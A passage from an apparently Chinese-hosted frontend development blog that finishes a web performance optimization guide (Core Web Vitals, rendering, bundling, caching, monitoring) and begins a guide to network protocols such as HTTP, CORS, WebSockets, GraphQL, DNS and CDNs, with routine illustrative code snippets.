  • Poor: > 4.0 seconds

Improving LCP

  1. Optimize Server Response Time

    • Use a CDN
    • Implement caching
    • Optimize backend code
    • Use early hints (103 Early Hints)
  2. Optimize Resource Loading

    1
    2
    3
    4
    5
    <!-- Preload critical resources -->
    <link rel="preload" href="/fonts/main.woff2" as="font" type="font/woff2" crossorigin>

    <!-- Preconnect to required origins -->
    <link rel="preconnect" href="https://cdn.example.com">
  3. Eliminate Render-Blocking Resources

    1
    2
    3
    4
    5
    <!-- Defer non-critical JavaScript -->
    <script src="/js/non-critical.js" defer></script>

    <!-- Load non-critical CSS asynchronously -->
    <link rel="preload" href="/css/non-critical.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
  4. Optimize Images

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <!-- Use responsive images -->
    <img
    src="image-400w.jpg"
    srcset="image-400w.jpg 400w, image-800w.jpg 800w, image-1200w.jpg 1200w"
    sizes="(max-width: 600px) 400px, (max-width: 1200px) 800px, 1200px"
    alt="Responsive image"
    >

    <!-- Use modern formats -->
    <picture>
    <source type="image/avif" srcset="image.avif">
    <source type="image/webp" srcset="image.webp">
    <img src="image.jpg" alt="Image description">
    </picture>

First Input Delay (FID)

FID measures interactivity – how quickly a page responds to user interactions.

Good FID Scores

  • Good: ≤ 100ms
  • Needs Improvement: 100ms - 300ms
  • Poor: > 300ms

Improving FID

  1. Break Up Long Tasks

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    // Instead of one long task
    function processAllItems(items) {
    for (const item of items) {
    processItem(item); // Potentially expensive operation
    }
    }

    // Break into smaller chunks with scheduling
    function processItemsInChunks(items, chunkSize = 50) {
    let index = 0;

    function processChunk() {
    const limit = Math.min(index + chunkSize, items.length);

    while (index < limit) {
    processItem(items[index++]);
    }

    if (index < items.length) {
    setTimeout(processChunk, 0); // Yield to browser
    }
    }

    processChunk();
    }
  2. Use Web Workers for Heavy Computation

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    // main.js
    const worker = new Worker('worker.js');

    worker.addEventListener('message', (event) => {
    // Handle result from the worker
    displayResult(event.data);
    });

    // Send data to worker
    worker.postMessage({ data: complexData });

    // worker.js
    self.addEventListener('message', (event) => {
    // Perform heavy computation without blocking the main thread
    const result = performComplexCalculation(event.data);
    self.postMessage(result);
    });
  3. Optimize JavaScript Execution

    • Avoid unnecessary JavaScript
    • Code-split and lazy load components
    • Minimize unused polyfills
    • Use modern JavaScript syntax (which typically compiles to smaller code)

Cumulative Layout Shift (CLS)

CLS measures visual stability – how much elements move around during page load.

Good CLS Scores

  • Good: ≤ 0.1
  • Needs Improvement: 0.1 - 0.25
  • Poor: > 0.25

Improving CLS

  1. Set Size Attributes on Media

    1
    2
    3
    4
    5
    6
    7
    <!-- Always specify dimensions -->
    <img src="image.jpg" width="640" height="360" alt="Image with dimensions">

    <!-- Or use aspect ratio box -->
    <div style="aspect-ratio: 16/9; width: 100%;">
    <img src="image.jpg" style="width: 100%; height: 100%; object-fit: cover;">
    </div>
  2. Reserve Space for Dynamic Content

    1
    2
    3
    4
    5
    6
    /* For ads, embeds, etc. */
    .ad-container {
    min-height: 250px; /* Known minimum height */
    width: 100%;
    background-color: #f1f1f1;
    }
  3. Avoid Inserting Content Above Existing Content

    1
    2
    3
    4
    5
    6
    // Bad: Inserting a banner at the top after load
    document.body.insertBefore(banner, document.body.firstChild);

    // Better: Reserve the space or add at the bottom
    const bannerContainer = document.getElementById('banner-container');
    bannerContainer.appendChild(banner);
  4. Use CSS content-visibility for Long Pages

    1
    2
    3
    4
    5
    /* Skip rendering off-screen content */
    .content-section {
    content-visibility: auto;
    contain-intrinsic-size: 0 500px; /* Estimate size */
    }

Interaction to Next Paint (INP)

INP measures responsiveness – how quickly the page responds to all user interactions.

Good INP Scores

  • Good: ≤ 200ms
  • Needs Improvement: 200ms - 500ms
  • Poor: > 500ms

Improving INP

  1. Use Event Delegation

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    // Instead of adding listeners to each button
    document.querySelectorAll('.button').forEach(button => {
    button.addEventListener('click', handleClick);
    });

    // Use event delegation
    document.addEventListener('click', (event) => {
    if (event.target.matches('.button')) {
    handleClick(event);
    }
    });
  2. Debounce or Throttle Input Handlers

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    function debounce(func, wait) {
    let timeout;
    return function(...args) {
    clearTimeout(timeout);
    timeout = setTimeout(() => func.apply(this, args), wait);
    };
    }

    // Apply to expensive handlers
    const debouncedSearchHandler = debounce((event) => {
    searchAPI(event.target.value);
    }, 300);

    searchInput.addEventListener('input', debouncedSearchHandler);
  3. Use CSS for Animations When Possible

    1
    2
    3
    4
    5
    6
    7
    8
    /* Use CSS transitions instead of JavaScript */
    .button {
    transition: transform 0.2s ease-out;
    }

    .button:hover {
    transform: scale(1.05);
    }

Rendering Performance

Critical Rendering Path

  1. HTML Parsing
  2. CSS Object Model (CSSOM)
  3. Render Tree Construction
  4. Layout/Reflow
  5. Paint
  6. Compositing

Reducing Layout Thrashing

Layout thrashing occurs when JavaScript repeatedly reads and writes to the DOM, forcing multiple recalculations.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// Bad: Interleaved reads and writes
const boxes = document.querySelectorAll('.box');
boxes.forEach(box => {
const width = box.offsetWidth; // Read
box.style.width = (width * 2) + 'px'; // Write
const height = box.offsetHeight; // Read - forces reflow
box.style.height = (height * 2) + 'px'; // Write
});

// Good: Batch reads, then writes
const boxes = document.querySelectorAll('.box');
const dimensions = [];

// Read phase
boxes.forEach(box => {
dimensions.push([box.offsetWidth, box.offsetHeight]);
});

// Write phase
boxes.forEach((box, i) => {
const [width, height] = dimensions[i];
box.style.width = (width * 2) + 'px';
box.style.height = (height * 2) + 'px';
});

Using will-change Property

1
2
3
4
5
6
7
8
9
/* Hint to the browser that an element will change */
.sidebar {
will-change: transform;
}

/* Remove when animation complete to free up resources */
.sidebar.animation-done {
will-change: auto;
}

Using CSS Containment

1
2
3
4
5
6
7
8
9
/* Isolate elements from rest of the document */
.widget {
contain: content; /* or layout, paint, size, etc. */
}

/* For isolated subtrees */
.comment-section {
contain: strict;
}

Layer Optimization

1
2
3
4
/* Promote to a separate layer only when needed */
.moving-element {
transform: translateZ(0); /* Creates a new compositor layer */
}

JavaScript Optimization

Bundle Optimization

Code Splitting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// React code splitting with dynamic import
import React, { lazy, Suspense } from 'react';

const HeavyComponent = lazy(() => import('./HeavyComponent'));

function App() {
return (
<div>
<Suspense fallback={<div>Loading...</div>}>
<HeavyComponent />
</Suspense>
</div>
);
}

Tree Shaking

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Only used functions will be included in the final bundle

// Modern ES module syntax enables tree shaking
export function used() {
console.log('This function is used');
}

export function unused() {
console.log('This function is never imported, so it will be tree-shaken');
}

// In another file
import { used } from './utils';
used(); // Only this function gets included in the bundle

Optimizing Critical JavaScript

1
2
3
4
5
6
7
8
<!-- Inline critical JavaScript -->
<script>
// Critical initialization code
document.querySelector('.main-content').classList.add('visible');
</script>

<!-- Defer non-critical scripts -->
<script src="non-critical.js" defer></script>

Memory Management

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// Remove event listeners when no longer needed
function setupElement(element) {
const handleClick = () => {
// Handle click
};

element.addEventListener('click', handleClick);

// Return cleanup function
return () => {
element.removeEventListener('click', handleClick);
};
}

// With React hooks
useEffect(() => {
const element = document.getElementById('my-element');
const handleClick = () => {
// Handle click
};

element.addEventListener('click', handleClick);

// Cleanup function
return () => {
element.removeEventListener('click', handleClick);
};
}, []);

Avoiding Memory Leaks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Bad: Unintended closure retains references
function setupObserver() {
const largeData = getLargeData();

const element = document.getElementById('observed');

const observer = new IntersectionObserver(() => {
// This closure captures largeData, preventing it from being garbage collected
console.log('Element visible', largeData.length);
});

observer.observe(element);
}

// Good: Clean up properly
function setupObserver() {
const element = document.getElementById('observed');

const observer = new IntersectionObserver(() => {
console.log('Element visible');
});

observer.observe(element);

// Return cleanup function
return () => {
observer.disconnect();
};
}

Asset Optimization

Image Optimization

1
2
3
4
5
6
7
8
9
10
11
<!-- Use modern formats -->
<picture>
<source type="image/avif" srcset="image.avif">
<source type="image/webp" srcset="image.webp">
<img
src="image.jpg"
alt="Optimized image"
loading="lazy"
decoding="async"
>
</picture>

Font Optimization

1
2
3
4
5
6
7
8
9
10
11
<!-- Preload critical fonts -->
<link rel="preload" href="/fonts/main.woff2" as="font" type="font/woff2" crossorigin>

<!-- Font display strategies -->
<style>
@font-face {
font-family: 'MyFont';
src: url('/fonts/myfont.woff2') format('woff2');
font-display: swap; /* Use system font until custom font is ready */
}
</style>

CSS Optimization

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!-- Critical CSS inlined -->
<style>
/* Critical styles for above-the-fold content */
body {
margin: 0;
font-family: system-ui, sans-serif;
}
.hero {
height: 100vh;
background-color: #f5f5f5;
}
</style>

<!-- Non-critical CSS loaded asynchronously -->
<link rel="preload" href="/css/non-critical.css" as="style" onload="this.onload=null;this.rel='stylesheet'">

Framework-Specific Optimizations

React

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Use React.memo for expensive components
const ExpensiveComponent = React.memo(({ data }) => {
// Render using data
return <div>{/* ... */}</div>;
});

// Use useMemo for expensive calculations
function DataProcessingComponent({ data }) {
const processedData = useMemo(() => {
return expensiveProcessing(data);
}, [data]);

return <div>{/* Use processedData */}</div>;
}

// Use useCallback for stable callbacks
function ParentComponent() {
const [count, setCount] = useState(0);

const handleClick = useCallback(() => {
// Handle click
}, []); // No dependencies = function reference stays the same

return <ChildComponent onClick={handleClick} />;
}

Vue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<template>
<div>
<!-- Use v-show instead of v-if for frequently toggled content -->
<div v-show="isVisible">Frequently toggled content</div>

<!-- Keep v-for items keyed -->
<div v-for="item in items" :key="item.id">{{ item.name }}</div>
</div>
</template>

<script>
export default {
// Avoid expensive computations in computed properties
computed: {
filteredItems() {
return this.items.filter(item => item.isActive);
}
},

// Use functional components for simple components
functional: true,
render(h, { props }) {
return h('div', props.text);
}
}
</script>

Angular

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// Use OnPush change detection
@Component({
selector: 'app-item',
template: `<div>{{ item.name }}</div>`,
changeDetection: ChangeDetectionStrategy.OnPush
})
export class ItemComponent {
@Input() item: Item;
}

// Use trackBy with ngFor
@Component({
selector: 'app-list',
template: `
<div *ngFor="let item of items; trackBy: trackById">
{{ item.name }}
</div>
`
})
export class ListComponent {
@Input() items: Item[];

trackById(index: number, item: Item): number {
return item.id;
}
}

Network Optimization

Caching Strategies

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Service Worker with Workbox
workbox.routing.registerRoute(
// Cache CSS files
/\.css$/,
// Use cache but update in the background
new workbox.strategies.StaleWhileRevalidate({
// Use a custom cache for CSS
cacheName: 'css-cache',
})
);

workbox.routing.registerRoute(
// Cache image files
/\.(?:png|jpg|jpeg|svg|gif)$/,
// Use the cache if it's available
new workbox.strategies.CacheFirst({
cacheName: 'image-cache',
plugins: [
new workbox.expiration.Plugin({
// Cache only 50 images
maxEntries: 50,
// Cache for 30 days
maxAgeSeconds: 30 * 24 * 60 * 60,
}),
],
})
);

Resource Hints

1
2
3
4
5
6
7
8
9
10
11
12
<!-- Prefetch likely next page -->
<link rel="prefetch" href="/next-page.html">

<!-- Prerender likely next page -->
<link rel="prerender" href="/almost-certainly-next-page.html">

<!-- Preconnect to origins -->
<link rel="preconnect" href="https://api.example.com">
<link rel="preconnect" href="https://fonts.googleapis.com" crossorigin>

<!-- DNS prefetch (fallback for browsers that don't support preconnect) -->
<link rel="dns-prefetch" href="https://api.example.com">

Compression

1
2
3
4
5
6
7
8
9
10
// Server-side compression (Node.js example with Express)
const express = require('express');
const compression = require('compression');
const app = express();

// Enable compression
app.use(compression());

// Serve static files
app.use(express.static('public'));

Performance Monitoring

Lighthouse

1
2
3
4
5
# Install Lighthouse CLI
npm install -g lighthouse

# Run audit
lighthouse https://example.com --view

Web Vitals Library

1
2
3
4
5
6
7
8
9
10
11
12
13
import { getCLS, getFID, getLCP, getFCP, getTTFB } from 'web-vitals';

function sendToAnalytics({ name, delta, id }) {
// Send metrics to your analytics service
console.log(`Metric: ${name} \nValue: ${delta} \nID: ${id}`);
}

// Measure and report Core Web Vitals
getCLS(sendToAnalytics);
getFID(sendToAnalytics);
getLCP(sendToAnalytics);
getFCP(sendToAnalytics);
getTTFB(sendToAnalytics);

Performance API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Measure custom metrics
performance.mark('start-process');

// Do some work...
processData();

performance.mark('end-process');
performance.measure('process-time', 'start-process', 'end-process');

// Get measurements
const measurements = performance.getEntriesByType('measure');
console.log(measurements);

// Report to analytics
const processTime = measurements[0].duration;
sendToAnalytics('custom-process-time', processTime);

Tooling for Performance

Webpack Optimization

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// webpack.config.js
module.exports = {
mode: 'production', // Enables optimizations

optimization: {
moduleIds: 'deterministic',
runtimeChunk: 'single',
splitChunks: {
chunks: 'all',
maxInitialRequests: Infinity,
minSize: 0,
cacheGroups: {
vendor: {
test: /[\\/]node_modules[\\/]/,
name(module) {
// Get the package name
const packageName = module.context.match(/[\\/]node_modules[\\/](.*?)([\\/]|$)/)[1];
return `npm.${packageName.replace('@', '')}`;
},
},
},
},
minimizer: [
new TerserPlugin({
terserOptions: {
compress: {
drop_console: true,
},
},
}),
],
},

// Analyze bundle size
plugins: [
new BundleAnalyzerPlugin(),
],
};

Babel Optimization

1
2
3
4
5
6
7
8
9
10
11
// babel.config.js
module.exports = {
presets: [
['@babel/preset-env', {
useBuiltIns: 'usage',
corejs: 3,
// Only include polyfills and transforms needed for target browsers
targets: '> 0.25%, not dead',
}],
],
};

PostCSS Optimization

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// postcss.config.js
module.exports = {
plugins: [
require('autoprefixer'),
require('cssnano')({
preset: 'advanced',
}),
require('postcss-preset-env')({
stage: 3,
features: {
'nesting-rules': true,
},
}),
],
};

Testing Environment Performance

Simulating Network Conditions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Puppeteer example
const puppeteer = require('puppeteer');

async function measurePerformance() {
const browser = await puppeteer.launch();
const page = await browser.newPage();

// Simulate slow 3G network
await page.emulateNetworkConditions({
offline: false,
latency: 150,
downloadThroughput: 1.5 * 1024 * 1024 / 8,
uploadThroughput: 750 * 1024 / 8,
});

// Measure page load time
const response = await page.goto('https://example.com');
const performanceTiming = JSON.parse(
await page.evaluate(() => JSON.stringify(performance.timing))
);

console.log(`Time to first byte: ${performanceTiming.responseStart - performanceTiming.requestStart}ms`);
console.log(`DOM Content Loaded: ${performanceTiming.domContentLoadedEventEnd - performanceTiming.navigationStart}ms`);
console.log(`Load: ${performanceTiming.loadEventEnd - performanceTiming.navigationStart}ms`);

await browser.close();
}

measurePerformance();

User-Centric Performance Testing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// Capturing Core Web Vitals with Puppeteer
const puppeteer = require('puppeteer');

async function measureCoreWebVitals() {
const browser = await puppeteer.launch();
const page = await browser.newPage();

// Inject web-vitals library
await page.evaluateOnNewDocument(() => {
window.vitalsData = {};
import('https://unpkg.com/web-vitals').then(({ getCLS, getFID, getLCP }) => {
getCLS(metric => { window.vitalsData.CLS = metric.value; });
getFID(metric => { window.vitalsData.FID = metric.value; });
getLCP(metric => { window.vitalsData.LCP = metric.value; });
});
});

await page.goto('https://example.com');

// Wait for metrics to be collected (adjust timeout as needed)
await page.waitForFunction(() => {
return window.vitalsData.CLS !== undefined &&
window.vitalsData.FID !== undefined &&
window.vitalsData.LCP !== undefined;
}, { timeout: 10000 });

const vitals = await page.evaluate(() => window.vitalsData);

console.log('Core Web Vitals:');
console.log(`CLS: ${vitals.CLS}`);
console.log(`FID: ${vitals.FID}ms`);
console.log(`LCP: ${vitals.LCP}ms`);

await browser.close();
}

measureCoreWebVitals();

Performance Checklist

  • Optimize Core Web Vitals (LCP, FID, CLS, INP)
  • Minimize JavaScript bundle size
  • Remove unused CSS and JavaScript
  • Optimize images (format, size, compression)
  • Implement proper caching strategy
  • Use resource hints (preload, prefetch, preconnect)
  • Implement code splitting and lazy loading
  • Optimize fonts (preload, font-display)
  • Minimize third-party impact
  • Avoid layout thrashing
  • Implement critical CSS
  • Defer non-critical JavaScript
  • Optimize for mobile devices
  • Set up performance monitoring
  • Use service workers for offline capability
  • Implement server-side rendering or static generation where appropriate
  • Optimize server response time
  • Use HTTP/2 or HTTP/3

Learning Resources

  • Web Vitals - Google’s essential metrics for a healthy site
  • MDN Web Performance
  • Lighthouse Performance Scoring
  • High Performance Web Sites by Steve Souders
  • Web Performance in Action by Jeremy Wagner
  • Performance Calendar - Annual web performance articles
  • WebPageTest - Advanced website performance testing

Performance optimization is an ongoing process, not a one-time task. Regular monitoring, testing, and refining are essential to maintain and improve your application’s performance over time.

  • Web Development
  • JavaScript
  • Performance
  • Core Web Vitals
  • Optimization

show all >>

Network Protocols for Frontend Developers

  2023-06-15
字数统计: 2.3k字   |   阅读时长: 14min

Network Protocols for Frontend Developers

Understanding network protocols is essential for frontend developers to build efficient and secure web applications. This guide covers the key network protocols and concepts relevant to frontend development.

HTTP (Hypertext Transfer Protocol)

HTTP is the foundation of data communication on the web.

HTTP Basics

  • Client-Server Model: Client (browser) sends requests to server, which responds with resources
  • Stateless Protocol: Each request-response pair is independent
  • Text-Based: Messages are human-readable

HTTP Request Structure

1
2
3
4
5
GET /path/to/resource HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html
Accept-Language: en-US,en;q=0.9

Components:

  1. Request Line: Method, URI, HTTP Version
  2. Headers: Metadata about the request
  3. Body (optional): Data sent to the server

HTTP Response Structure

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
HTTP/1.1 200 OK
Date: Mon, 23 May 2023 22:38:34 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 138
Cache-Control: max-age=3600

<!DOCTYPE html>
<html>
<head>
<title>Example Page</title>
</head>
<body>
<h1>Hello, World!</h1>
</body>
</html>

Components:

  1. Status Line: HTTP Version, Status Code, Reason Phrase
  2. Headers: Metadata about the response
  3. Body (optional): The requested resource

HTTP Methods

Method Purpose Idempotent Safe
GET Retrieve data Yes Yes
POST Submit data No No
PUT Update/Replace data Yes No
DELETE Remove data Yes No
PATCH Partially update data No No
HEAD Get headers only Yes Yes
OPTIONS Get supported methods Yes Yes

HTTP Status Codes

Range Category Examples
1xx Informational 100 Continue, 101 Switching Protocols
2xx Success 200 OK, 201 Created, 204 No Content
3xx Redirection 301 Moved Permanently, 302 Found, 304 Not Modified
4xx Client Error 400 Bad Request, 401 Unauthorized, 404 Not Found
5xx Server Error 500 Internal Server Error, 503 Service Unavailable

HTTP/1.1 vs HTTP/2 vs HTTP/3

HTTP/1.1

  • Text-based protocol
  • One request per connection (head-of-line blocking)
  • Requires multiple TCP connections for parallelism
1
2
3
4
5
6
7
8
9
10
11
// Sequential requests in HTTP/1.1
fetch('/api/data1')
.then(response => response.json())
.then(data => {
// Process data1
return fetch('/api/data2');
})
.then(response => response.json())
.then(data => {
// Process data2
});

HTTP/2

  • Binary protocol
  • Multiplexed streams (multiple requests over single connection)
  • Server push capabilities
  • Header compression
1
2
3
4
5
6
7
8
9
// Concurrent requests benefit from HTTP/2 multiplexing
Promise.all([
fetch('/api/data1').then(response => response.json()),
fetch('/api/data2').then(response => response.json()),
fetch('/api/data3').then(response => response.json())
])
.then(([data1, data2, data3]) => {
// Process all data at once
});

HTTP/3

  • Uses QUIC transport protocol instead of TCP
  • Improved performance on unreliable networks
  • Reduced connection establishment time
  • Better multiplexing without head-of-line blocking

HTTPS (HTTP Secure)

HTTPS is HTTP over TLS/SSL encryption, providing:

  • Data encryption
  • Server authentication
  • Message integrity

How HTTPS Works

  1. TLS Handshake: Client and server establish encryption parameters
  2. Certificate Validation: Browser verifies server’s identity
  3. Secure Communication: Data is encrypted using session keys

Certificates and Certificate Authorities (CAs)

  • Digital certificates establish trust in a website
  • CAs validate and issue certificates
  • Browsers maintain a list of trusted CAs

HTTPS Best Practices

  • Enforce HTTPS across your entire site
  • Use HTTP Strict Transport Security (HSTS)
  • Keep certificates up to date
  • Use secure cookies
1
2
<!-- Content Security Policy for HTTPS enforcement -->
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">

Web Caching

Caching improves performance by storing copies of resources.

Browser Cache

1
2
3
Cache-Control: max-age=3600, must-revalidate
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
  • Controlled via HTTP headers
  • Caches resources locally
  • Reduces network requests and latency

Cache-Control Header Options

  • max-age: Duration in seconds the resource is fresh
  • no-cache: Revalidate before using cached copy
  • no-store: Don’t cache at all
  • public: Any cache can store the response
  • private: Only browser can cache the response

ETag and Conditional Requests

1
2
3
4
5
6
7
8
9
10
11
12
13
// Browser automatically uses ETag with fetch
fetch('/api/data', {
headers: {
'If-None-Match': 'W/"previousEtagValue"'
}
})
.then(response => {
if (response.status === 304) {
// Use cached data
return getCachedData();
}
return response.json();
});
  • ETag: Unique identifier for resource version
  • If-None-Match: Sends previous ETag to check if resource changed
  • 304 Not Modified: Server responds if resource hasn’t changed

RESTful API

REST (Representational State Transfer) is an architectural style for designing networked applications.

Key Principles

  • Resource-Based: URIs identify resources
  • Stateless: No client context stored on server
  • Uniform Interface: Consistent resource handling
  • CRUD Operations: Map to HTTP methods

RESTful Endpoint Design

1
2
3
4
5
6
7
GET /users                 # Get all users
GET /users/123 # Get user with ID 123
POST /users # Create new user
PUT /users/123 # Update user 123
PATCH /users/123 # Partially update user 123
DELETE /users/123 # Delete user 123
GET /users/123/orders # Get orders for user 123

Example RESTful API Call

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// Creating a new user
fetch('https://api.example.com/users', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer token123'
},
body: JSON.stringify({
name: 'John Doe',
email: 'john@example.com'
})
})
.then(response => {
if (!response.ok) {
throw new Error(`HTTP error ${response.status}`);
}
return response.json();
})
.then(data => console.log('User created:', data))
.catch(error => console.error('Error:', error));

Cross-Origin Resource Sharing (CORS)

CORS is a security feature that restricts web pages from making requests to a different domain.

Same-Origin Policy

Browsers restrict cross-origin HTTP requests as a security measure.

CORS Headers

1
2
3
4
5
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 3600

Simple vs Preflight Requests

Simple Requests meet all these conditions:

  • Uses GET, HEAD, or POST
  • Only uses CORS-safe headers
  • Content-Type is application/x-www-form-urlencoded, multipart/form-data, or text/plain

Preflight Requests:

  • Browser sends OPTIONS request before actual request
  • Server must respond with appropriate CORS headers
  • Actual request proceeds only if preflight succeeds
1
2
3
4
5
6
7
8
9
// This will trigger a preflight request due to custom header
fetch('https://api.example.com/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json', // Non-simple content type
'X-Custom-Header': 'value' // Custom header
},
body: JSON.stringify({ key: 'value' })
});

CORS in Frontend Development

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Using mode: 'cors' explicitly (default for fetch)
fetch('https://api.example.com/data', {
mode: 'cors',
credentials: 'include' // Send cookies cross-origin
});

// Using proxy in development
// In package.json for React apps
{
"proxy": "https://api.example.com"
}

// Then in code
fetch('/data'); // Requests go to proxy

WebSockets

WebSockets provide full-duplex communication channels over a single TCP connection.

Key Characteristics

  • Persistent Connection: Stays open until closed
  • Bi-directional: Server and client can send messages
  • Low Latency: Less overhead than HTTP
  • Cross-Origin Compatible: With proper CORS headers

WebSocket Handshake

Client initiates with HTTP upgrade request:

1
2
3
4
5
6
GET /chat HTTP/1.1
Host: server.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13

Using WebSockets in JavaScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// Creating a WebSocket connection
const socket = new WebSocket('wss://echo.websocket.org');

// Connection opened
socket.addEventListener('open', (event) => {
console.log('Connected to WebSocket server');
socket.send('Hello Server!');
});

// Listen for messages
socket.addEventListener('message', (event) => {
console.log('Message from server:', event.data);
});

// Listen for errors
socket.addEventListener('error', (event) => {
console.error('WebSocket error:', event);
});

// Connection closed
socket.addEventListener('close', (event) => {
console.log('Connection closed', event.code, event.reason);
});

// Close the connection when done
function closeConnection() {
socket.close(1000, "Deliberately closed");
}

WebSocket vs HTTP

Feature WebSocket HTTP/REST
Connection Persistent New connection per request
Communication Bi-directional Request-response
Overhead Low after handshake Headers with each request
Use Case Real-time updates CRUD operations

Server-Sent Events (SSE)

SSE allows servers to push updates to the browser.

Key Features

  • Unidirectional: Server to client only
  • Auto-reconnection: Built-in reconnection
  • Text-based: Uses HTTP for transport
  • Simpler than WebSockets: For one-way communication

Using Server-Sent Events

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Creating an EventSource
const eventSource = new EventSource('/events');

// Listen for all messages
eventSource.onmessage = (event) => {
console.log('New message:', event.data);
};

// Listen for specific event types
eventSource.addEventListener('update', (event) => {
console.log('Update event:', event.data);
});

// Error handling
eventSource.onerror = (error) => {
console.error('EventSource error:', error);
if (eventSource.readyState === EventSource.CLOSED) {
console.log('Connection closed');
}
};

// Close the connection when done
function closeSSE() {
eventSource.close();
}

GraphQL

GraphQL is a query language for APIs and a runtime for fulfilling those queries.

Key Concepts

  • Single Endpoint: One endpoint for all requests
  • Request Exactly What You Need: No over/under-fetching
  • Strongly Typed: Schema defines available data
  • Introspective: Query schema for information

Basic GraphQL Query

1
2
3
4
5
6
7
8
9
10
11
query {
user(id: "123") {
id
name
email
posts {
title
content
}
}
}

Using GraphQL with Fetch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// GraphQL query with variables
const query = `
query GetUser($id: ID!) {
user(id: $id) {
id
name
email
}
}
`;

fetch('https://api.example.com/graphql', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer token123'
},
body: JSON.stringify({
query,
variables: { id: '123' }
})
})
.then(res => res.json())
.then(result => {
console.log(result.data.user);
});

DNS (Domain Name System)

DNS translates domain names to IP addresses.

DNS Resolution Process

  1. Browser checks its cache
  2. OS checks its cache
  3. Router checks its cache
  4. ISP’s DNS server is queried
  5. If not found, query goes to root servers
  6. Root server directs to TLD server
  7. TLD server directs to authoritative nameserver
  8. IP address is returned

DNS Record Types

  • A Record: Maps domain to IPv4 address
  • AAAA Record: Maps domain to IPv6 address
  • CNAME: Canonical name record (alias)
  • MX: Mail exchange record
  • TXT: Text record for various purposes
  • NS: Nameserver record

DNS and Web Performance

  • DNS Prefetching: Pre-resolve domains user might visit
1
2
<link rel="dns-prefetch" href="https://fonts.googleapis.com">
<link rel="dns-prefetch" href="https://analytics.example.com">

CDN (Content Delivery Network)

CDNs distribute content to servers worldwide to reduce latency.

How CDNs Work

  1. User requests content
  2. Request routed to nearest CDN edge server
  3. Edge server checks cache
  4. If found, content is served from cache
  5. If not found, CDN fetches from origin server

Benefits of CDNs

  • Reduced latency
  • Decreased server load
  • Improved availability
  • DDoS protection

Using CDNs for Frontend Resources

1
2
3
4
5
<!-- Loading jQuery from a CDN -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>

<!-- Using a CSS framework from a CDN -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css">

CDN Best Practices

  • Use multiple CDNs for redundancy
  • Set appropriate cache headers
  • Use subresource integrity (SRI)
  • Consider CDN fallbacks
1
2
3
4
5
6
7
8
9
10
11
<!-- Using SRI with a CDN resource -->
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>

<!-- With local fallback -->
<script>
window.jQuery || document.write('<script src="/js/jquery.min.js"><\/script>');
</script>

Network Performance Optimization

Reducing Request Count

  • Bundle assets
  • Use CSS sprites
  • Inline critical CSS/JS
  • Use icon fonts or SVG

Reducing File Size

  • Minify CSS, JavaScript, HTML
  • Compress images
  • Use HTTP compression (gzip, Brotli)
  • Use modern image formats (WebP, AVIF)

Connection Optimization

  • Use HTTP/2 or HTTP/3
  • Enable keep-alive
  • DNS prefetching
  • Preconnect to critical origins
1
2
3
